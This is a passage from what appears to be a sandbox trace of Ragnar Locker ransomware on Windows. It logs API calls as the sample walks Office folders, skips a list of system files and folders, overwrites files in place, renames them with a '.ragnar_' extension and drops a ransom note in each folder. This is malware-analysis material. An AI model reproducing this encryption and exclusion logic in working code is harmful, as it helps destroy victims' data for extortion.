Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.ragnar_FD7BD9FC" [0062.816] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0062.816] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0062.816] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x64 [0062.816] lstrcpyW (in: lpString1=0x1ea0d2, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0062.816] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned=".XML" [0062.816] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0062.816] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0062.816] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0062.816] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0062.816] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0062.816] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0062.816] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0062.816] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0062.817] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0062.817] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0062.817] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0062.817] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0062.817] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0062.817] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0062.817] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0062.817] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0062.817] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0062.817] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0062.817] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0062.817] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0062.817] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0062.817] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0062.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 0x20 [0062.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0062.817] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=9352) returned 1 [0062.817] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x247f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.817] GetProcessHeap () returned 0x580000 [0062.817] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0062.817] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0062.819] VirtualAlloc (lpAddress=0x0, dwSize=0x2488, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0062.819] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.819] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0062.819] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2488, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x2488, lpOverlapped=0x0) returned 1 [0062.820] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0062.821] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2488, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.821] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2488, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x2488, lpOverlapped=0x0) returned 1 [0062.821] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2488, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.821] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.821] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x2488, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.821] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.821] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.821] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0062.821] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0062.821] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0062.821] GetProcessHeap () returned 0x580000 [0062.821] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0062.821] CloseHandle (hObject=0x108) returned 1 [0062.824] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" [0062.824] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.ragnar_FD7BD9FC" [0062.824] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0062.824] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0062.824] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0062.824] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0062.824] lstrcmpiW (lpString1="Office32.en-us", lpString2=".") returned 1 [0062.824] lstrcmpiW (lpString1="Office32.en-us", lpString2="..") returned 1 [0062.824] lstrcmpiW (lpString1="Office32.en-us", lpString2="Windows") returned -1 [0062.824] lstrcmpiW (lpString1="Office32.en-us", lpString2="Windows.old") returned -1 [0062.824] lstrcmpiW (lpString1="Office32.en-us", lpString2="Tor browser") returned -1 [0062.824] lstrcmpiW (lpString1="Office32.en-us", lpString2="Internet Explorer") returned 1 [0062.824] lstrcmpiW (lpString1="Office32.en-us", lpString2="Google") returned 1 [0062.824] lstrcmpiW (lpString1="Office32.en-us", lpString2="Opera") returned -1 [0062.824] lstrcmpiW (lpString1="Office32.en-us", lpString2="Opera Software") returned -1 [0062.825] lstrcmpiW (lpString1="Office32.en-us", lpString2="Mozilla") returned 1 [0062.825] lstrcmpiW (lpString1="Office32.en-us", lpString2="Mozilla Firefox") returned 1 [0062.825] lstrcmpiW (lpString1="Office32.en-us", lpString2="$Recycle.Bin") returned 1 [0062.825] lstrcmpiW (lpString1="Office32.en-us", lpString2="ProgramData") returned -1 [0062.825] lstrcmpiW (lpString1="Office32.en-us", lpString2="All Users") returned 1 [0062.825] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0062.825] lstrcpyW (in: lpString1=0x1eab90, lpString2="Office32.en-us" | out: lpString1="Office32.en-us") returned="Office32.en-us" [0062.825] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\" [0062.825] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\" [0062.825] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\RGNR_FD7BD9FC.txt" [0062.825] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0062.829] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*" [0062.829] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x66 [0062.829] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0062.829] lstrcpyW (in: lpString1=0x1e9cc2, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0062.829] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77afdf60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77afdf60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0062.829] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0062.829] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77afdf60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77afdf60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.839] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0062.839] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0062.839] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0062.839] lstrcmpiW (lpString1="Office32MUI.XML", lpString2=".") returned 1 [0062.839] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="..") returned 1 [0062.839] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77afdf60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x77afdf60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0062.839] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0062.839] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0062.839] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0062.839] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0062.839] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0062.840] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0062.840] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0062.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77afdf60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77afdf60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0062.840] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x77afdf60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77afdf60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.840] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0062.840] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x66 [0062.840] lstrcpyW (in: lpString1=0x1ea0d6, lpString2="Office32MUI.XML" | out: lpString1="Office32MUI.XML") returned="Office32MUI.XML" [0062.840] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned=".XML" [0062.840] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0062.840] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="autorun.inf") returned 1 [0062.840] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="boot.ini") returned 1 [0062.840] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="bootfont.bin") returned 1 [0062.840] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="bootsect.bak") returned 1 [0062.840] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="bootmgr") returned 1 [0062.840] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="bootmgr.efi") returned 1 [0062.840] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="bootmgfw.efi") returned 1 [0062.840] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="desktop.ini") returned 1 [0062.840] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="iconcache.db") returned 1 [0062.840] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="ntldr") returned 1 [0062.840] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="ntuser.dat") returned 1 [0062.840] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="ntuser.dat.log") returned 1 [0062.840] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="ntuser.ini") returned 1 [0062.840] lstrcmpiW (lpString1="Office32MUI.XML", lpString2="thumbs.db") returned -1 [0062.840] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0062.840] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0062.840] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0062.840] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0062.841] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0062.841] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0062.841] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0062.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0062.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0062.841] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1383) returned 1 [0062.842] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x55e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.842] GetProcessHeap () returned 0x580000 [0062.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0062.842] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0062.843] VirtualAlloc (lpAddress=0x0, dwSize=0x567, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0062.843] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.843] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0062.844] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x567, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x567, lpOverlapped=0x0) returned 1 [0062.844] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0062.844] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x567, nNumberOfBytesToLockHigh=0x0) returned 1 [0062.844] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x567, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x567, lpOverlapped=0x0) returned 1 [0062.844] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 